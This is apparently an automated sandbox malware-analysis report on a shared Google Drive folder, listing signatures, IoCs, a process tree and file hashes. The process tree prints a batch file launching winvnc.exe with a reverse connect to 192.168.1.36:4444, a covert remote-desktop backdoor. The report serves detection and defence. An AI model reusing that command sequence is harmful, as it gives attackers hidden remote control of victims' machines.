hxxps://drive[.]google[.]com/drive/folders/1o_FvCzw_5IKZ8_bm_Om9y_7MArSpq41k?usp=sharing

Resubmissions

06-08-2024 21:25

240806-z9y55a1dkn 6

06-08-2024 21:23

240806-z8jn2s1cqq 6

Analysis

max time kernel
112s
max time network
112s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
06-08-2024 21:25

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://drive.google.com/drive/folders/1o_FvCzw_5IKZ8_bm_Om9y_7MArSpq41k?usp=sharing

Score

6^/10

discovery

Malware Config

Signatures

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
2	drive.google.com
6	drive.google.com

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Delays execution with timeout.exe 2 IoCs

evasion

pid	Process
224	timeout.exe
2936	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings	msedge.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

pid	Process
2988	msedge.exe
2988	msedge.exe
3520	msedge.exe
3520	msedge.exe
2212	identity_helper.exe
2212	identity_helper.exe
4932	msedge.exe
4932	msedge.exe
2936	winvnc.exe
2936	winvnc.exe
1396	winvnc.exe
1396	winvnc.exe
1396	winvnc.exe
1396	winvnc.exe
4540	winvnc.exe
4540	winvnc.exe
4364	winvnc.exe
4364	winvnc.exe
5112	winvnc.exe
5112	winvnc.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs

pid	Process
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe

Suspicious use of FindShellTrayWindow 38 IoCs

pid	Process
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
1396	winvnc.exe
1396	winvnc.exe
1396	winvnc.exe
1396	winvnc.exe

Suspicious use of SendNotifyMessage 27 IoCs

pid	Process
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
3520	msedge.exe
1396	winvnc.exe
1396	winvnc.exe
1396	winvnc.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3520 wrote to memory of 2744	3520	msedge.exe	82
PID 3520 wrote to memory of 2744	3520	msedge.exe	82
PID 3520 wrote to memory of 2900	3520	msedge.exe	83
PID 3520 wrote to memory of 2900	3520	msedge.exe	83
PID 3520 wrote to memory of 2900	3520	msedge.exe	83
PID 3520 wrote to memory of 2900	3520	msedge.exe	83
PID 3520 wrote to memory of 2900	3520	msedge.exe	83
PID 3520 wrote to memory of 2900	3520	msedge.exe	83
PID 3520 wrote to memory of 2900	3520	msedge.exe	83
PID 3520 wrote to memory of 2900	3520	msedge.exe	83
PID 3520 wrote to memory of 2900	3520	msedge.exe	83
PID 3520 wrote to memory of 2900	3520	msedge.exe	83
PID 3520 wrote to memory of 2900	3520	msedge.exe	83
PID 3520 wrote to memory of 2900	3520	msedge.exe	83
PID 3520 wrote to memory of 2900	3520	msedge.exe	83
PID 3520 wrote to memory of 2900	3520	msedge.exe	83
PID 3520 wrote to memory of 2900	3520	msedge.exe	83
PID 3520 wrote to memory of 2900	3520	msedge.exe	83
PID 3520 wrote to memory of 2900	3520	msedge.exe	83
PID 3520 wrote to memory of 2900	3520	msedge.exe	83
PID 3520 wrote to memory of 2900	3520	msedge.exe	83
PID 3520 wrote to memory of 2900	3520	msedge.exe	83
PID 3520 wrote to memory of 2900	3520	msedge.exe	83
PID 3520 wrote to memory of 2900	3520	msedge.exe	83
PID 3520 wrote to memory of 2900	3520	msedge.exe	83
PID 3520 wrote to memory of 2900	3520	msedge.exe	83
PID 3520 wrote to memory of 2900	3520	msedge.exe	83
PID 3520 wrote to memory of 2900	3520	msedge.exe	83
PID 3520 wrote to memory of 2900	3520	msedge.exe	83
PID 3520 wrote to memory of 2900	3520	msedge.exe	83
PID 3520 wrote to memory of 2900	3520	msedge.exe	83
PID 3520 wrote to memory of 2900	3520	msedge.exe	83
PID 3520 wrote to memory of 2900	3520	msedge.exe	83
PID 3520 wrote to memory of 2900	3520	msedge.exe	83
PID 3520 wrote to memory of 2900	3520	msedge.exe	83
PID 3520 wrote to memory of 2900	3520	msedge.exe	83
PID 3520 wrote to memory of 2900	3520	msedge.exe	83
PID 3520 wrote to memory of 2900	3520	msedge.exe	83
PID 3520 wrote to memory of 2900	3520	msedge.exe	83
PID 3520 wrote to memory of 2900	3520	msedge.exe	83
PID 3520 wrote to memory of 2900	3520	msedge.exe	83
PID 3520 wrote to memory of 2900	3520	msedge.exe	83
PID 3520 wrote to memory of 2988	3520	msedge.exe	84
PID 3520 wrote to memory of 2988	3520	msedge.exe	84
PID 3520 wrote to memory of 2264	3520	msedge.exe	85
PID 3520 wrote to memory of 2264	3520	msedge.exe	85
PID 3520 wrote to memory of 2264	3520	msedge.exe	85
PID 3520 wrote to memory of 2264	3520	msedge.exe	85
PID 3520 wrote to memory of 2264	3520	msedge.exe	85
PID 3520 wrote to memory of 2264	3520	msedge.exe	85
PID 3520 wrote to memory of 2264	3520	msedge.exe	85
PID 3520 wrote to memory of 2264	3520	msedge.exe	85
PID 3520 wrote to memory of 2264	3520	msedge.exe	85
PID 3520 wrote to memory of 2264	3520	msedge.exe	85
PID 3520 wrote to memory of 2264	3520	msedge.exe	85
PID 3520 wrote to memory of 2264	3520	msedge.exe	85
PID 3520 wrote to memory of 2264	3520	msedge.exe	85
PID 3520 wrote to memory of 2264	3520	msedge.exe	85
PID 3520 wrote to memory of 2264	3520	msedge.exe	85
PID 3520 wrote to memory of 2264	3520	msedge.exe	85
PID 3520 wrote to memory of 2264	3520	msedge.exe	85
PID 3520 wrote to memory of 2264	3520	msedge.exe	85
PID 3520 wrote to memory of 2264	3520	msedge.exe	85
PID 3520 wrote to memory of 2264	3520	msedge.exe	85

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://drive.google.com/drive/folders/1o_FvCzw_5IKZ8_bm_Om9y_7MArSpq41k?usp=sharing
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3520
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffab63a46f8,0x7ffab63a4708,0x7ffab63a4718
  2⤵
  PID:2744
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2064,9518278022899919214,11584329551756738540,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2080 /prefetch:2
  2⤵
  PID:2900
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2064,9518278022899919214,11584329551756738540,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2444 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2988
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2064,9518278022899919214,11584329551756738540,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2916 /prefetch:8
  2⤵
  PID:2264
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,9518278022899919214,11584329551756738540,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3392 /prefetch:1
  2⤵
  PID:624
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,9518278022899919214,11584329551756738540,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3428 /prefetch:1
  2⤵
  PID:2068
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2064,9518278022899919214,11584329551756738540,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5200 /prefetch:8
  2⤵
  PID:3508
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2064,9518278022899919214,11584329551756738540,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5200 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2212
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,9518278022899919214,11584329551756738540,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5488 /prefetch:1
  2⤵
  PID:2956
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,9518278022899919214,11584329551756738540,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5348 /prefetch:1
  2⤵
  PID:824
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,9518278022899919214,11584329551756738540,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5220 /prefetch:1
  2⤵
  PID:3496
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,9518278022899919214,11584329551756738540,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5568 /prefetch:1
  2⤵
  PID:2624
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,9518278022899919214,11584329551756738540,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3532 /prefetch:1
  2⤵
  PID:2012
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2064,9518278022899919214,11584329551756738540,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=3460 /prefetch:8
  2⤵
  PID:4212
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,9518278022899919214,11584329551756738540,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5584 /prefetch:1
  2⤵
  PID:3016
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2064,9518278022899919214,11584329551756738540,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5940 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4932

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1908

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3816

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:2604

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\client-20240806T212603Z-001\client\main.bat" "
1⤵
PID:4076
- C:\Windows\system32\timeout.exe
  timeout /t 1
  2⤵
  - Delays execution with timeout.exe
  PID:224
- C:\Users\Admin\Downloads\client-20240806T212603Z-001\client\winvnc.exe
  winvnc.exe -run
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:1396
- C:\Users\Admin\Downloads\client-20240806T212603Z-001\client\winvnc.exe
  winvnc.exe -connect 192.168.1.36:4444
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2936

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\client-20240806T212603Z-001\client\main.bat" "
1⤵
PID:1968
- C:\Windows\system32\timeout.exe
  timeout /t 1
  2⤵
  - Delays execution with timeout.exe
  PID:2936
- C:\Users\Admin\Downloads\client-20240806T212603Z-001\client\winvnc.exe
  winvnc.exe -run
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4540
- C:\Users\Admin\Downloads\client-20240806T212603Z-001\client\winvnc.exe
  winvnc.exe -connect 192.168.1.36:4444
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4364

C:\Users\Admin\Downloads\client-20240806T212603Z-001\client\winvnc.exe
"C:\Users\Admin\Downloads\client-20240806T212603Z-001\client\winvnc.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:5112

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
9e3fc58a8fb86c93d19e1500b873ef6f

SHA1
c6aae5f4e26f5570db5e14bba8d5061867a33b56

SHA256
828f4eacac1c40b790fd70dbb6fa6ba03dcc681171d9b2a6579626d27837b1c4

SHA512
e5e245b56fa82075e060f468a3224cf2ef43f1b6d87f0351a2102d85c7c897e559be4caeaecfdc4059af29fdc674681b61229319dda95cb2ee649b2eb98d313e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
27304926d60324abe74d7a4b571c35ea

SHA1
78b8f92fcaf4a09eaa786bbe33fd1b0222ef29c1

SHA256
7039ad5c2b40f4d97c8c2269f4942be13436d739b2e1f8feb7a0c9f9fdb931de

SHA512
f5b6181d3f432238c7365f64fc8a373299e23ba8178bcc419471916ef8b23e909787c7c0617ab22e4eb90909c02bd7b84f1386fbc61e2bdb5a0eb474175da4bd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
1KB

MD5
0171c0895475169460451d55c2438533

SHA1
1d1ee8aa382359ba37c88b8158572e512f9a9d06

SHA256
9a24a280a2b90d3c1ac53199c1d052125c5c24d57f067bc3d05a3c6fdca422e6

SHA512
e8ada2f44a3cfc5e682129b451888d57f8700ff99d0ab6d39d13d085e4f679cbc1ed06e046bd95e386464bee42ab0d99492ab53d2536eea8a81d4f35a2ed808a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
1008B

MD5
a5abc6ebb758f84d8f4e3e13fda9b7be

SHA1
0b8c7df58e6fe178d4208c2480b5318a0a7337b4

SHA256
4a1e74e8374ed86402cff3fe0f173d2d0a09fe4b0414100e1297ec2517738e12

SHA512
3776166ce3580d3f02f232a756fbbb5f54104e8d8dd29f2d79d08fa1a9e5006e43a9af283d47795251546342ad9a5bff2de17b55ff73300780caf99c7e3a61a2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
3KB

MD5
b8d3fe8d3b528db4915b304b60e01fc6

SHA1
fcf45e699ab604205c5b652dee591ced9d19ce4c

SHA256
1dbed8b8af36c3f251a4bc12ed2019356ea573876d609f9d2bd1248c90f2f956

SHA512
38acd53407b282f4517218b26d2c03da41a15586274481a7b7bae41816c60daea11c79b201d264b5488b2505f80e20513454153b52615d862226f17b84281886

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
caa66f77bbbf4c96568228de192f521f

SHA1
5c81577ff76208694990916fec4d38e163a9d227

SHA256
1f0cab29e77f8a95a731decd3a0bc54a99c635796cf503fc9d1dd5c1e688eb34

SHA512
6ae0a62d5be297dc51a2b02efa7d40473e3ea9cd80d8c9ae696c0e246a10711aa2b4d60ebfb25ffe8627a584a1829e2c23abec05f8c02b50edd3a0861e033b07

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
74f572c059f786d6bb9a4143bd8dc6c6

SHA1
b94cbf40d03351a6faefa473b804c3746a9ff141

SHA256
6284ca9f4ce66f08b1e5839066899bc6030566ac3cfbb9fb01f0437cbf9c22f7

SHA512
1d13a0a70392824240fc31d8142e4338a7ea55d88927fea86216a83f04ede6360d97985106b81cc9d55e760d260d1ad3e91c87d2c46fdc53e15c2dee839a2ea7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
8bc6c79471ccaf58d4cb4fca4444fb42

SHA1
1f22067ab5a664057bd133a107c38522d8d57460

SHA256
f9ef844f2c3caf3637bccac191ea83c7cce48913711df58717840476fd3f891d

SHA512
adfad40055a950b27f0aefbac41b6e3f14a7a17651b5897ff5169f65e3dd63d836b7a226cab2b9c6e866f41270901d8dec3dc6345076af7f88cc41870d62adfc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
4d246b56df7b46dbbe0eb997d4ff8557

SHA1
2a225c837b4e8dbe6642a00607287f7671214a51

SHA256
0730907649f4f9326ed764f5ccaa16bcb64c8a25c2417c23b1c6643a90679d18

SHA512
7e542988d56f86c3c6dd05036bd5d12d1184db27542e86e09c2d25ff437bdf6dd033dc01861129c496bd5d612fa4716fcd67f373d82da58aa8ff1c2e1f7e9411

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
8f2a5cb974b60e10dcb767777ad31dc0

SHA1
3287cea11ae6e0dc2360c292601d04b2b5628af3

SHA256
6ef82c1843be8e47f237154195dae6d1180c8f344e43380e69ffcfb3223cbb4f

SHA512
8d58bce192dea372b0b068a70543983190d43508b09f677ed367fc03710c02f82f8325a22b15c089bbf35d46b4fdee4afa09dc7e9a7859bb0b87fa2a485c6f0b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe5baa08.TMP

Filesize
1KB

MD5
d16bb09c7b7f163b1e99c396066b9d8f

SHA1
8b79bd5368f037faea770205b27803698951720a

SHA256
d42141d60beb9ca20b5ffa550fec6c0a35b8dec8245436ed0380945533b1cea3

SHA512
29afce76eba29985d79ae098be702c1e859f38d282ee3bddca32d4481a9a3e39821e2789611f143e4063f1e136659468c9942641cb871abe011ee9b8904d744a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
c4e427ed82af95644a786e0e2291629c

SHA1
f20af16d282cc2751c73bee82166418e3163ae30

SHA256
1307567c358f58ea53ff8776847b4fdab98690f0fe398c45de37f7be0734a1e2

SHA512
ae246e773887dd001a148b793abf7feaa9ce5c01b2949bf06b8784c5cdc6ec038d555dc020d103e7defd8cfe45594bd785f548b552b1d6dbc46422df06278365

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
ccf7d60d52ff19694805623e2101c147

SHA1
03e3269c25bac261a4814fcd4db43dc23e3eed29

SHA256
606447e2b47572678bcf3b8210a2e35254e78a25ac7e6d741ed5eccc03b25ea1

SHA512
5258d8011ce515729846856ddd3021b7efa47ac62da14c54a2d6543f368e23a52737c83031b5e0440837ce951fecf605d4c40387764a38f12179ed6218568946

Download Submit
C:\Users\Admin\Downloads\client-20240806T212603Z-001.zip

Filesize
1.0MB

MD5
776bdbf74bb84adf7db6beabd0d9f8f1

SHA1
cdda7140852cc7c180cbb13eb597377cbac70a18

SHA256
90f9427c8fd9a86af0a8dd96210fb037dd486ec19288c02173d23af620cca47e

SHA512
bbe934a97e9953472dcd769994b50e8eddd4a58712f157abfe8ada50943020c35fb82569312343b36c16e1e7b45c43f553ff53d2248dc9e0adcf9d2dc8b773fb

Download Submit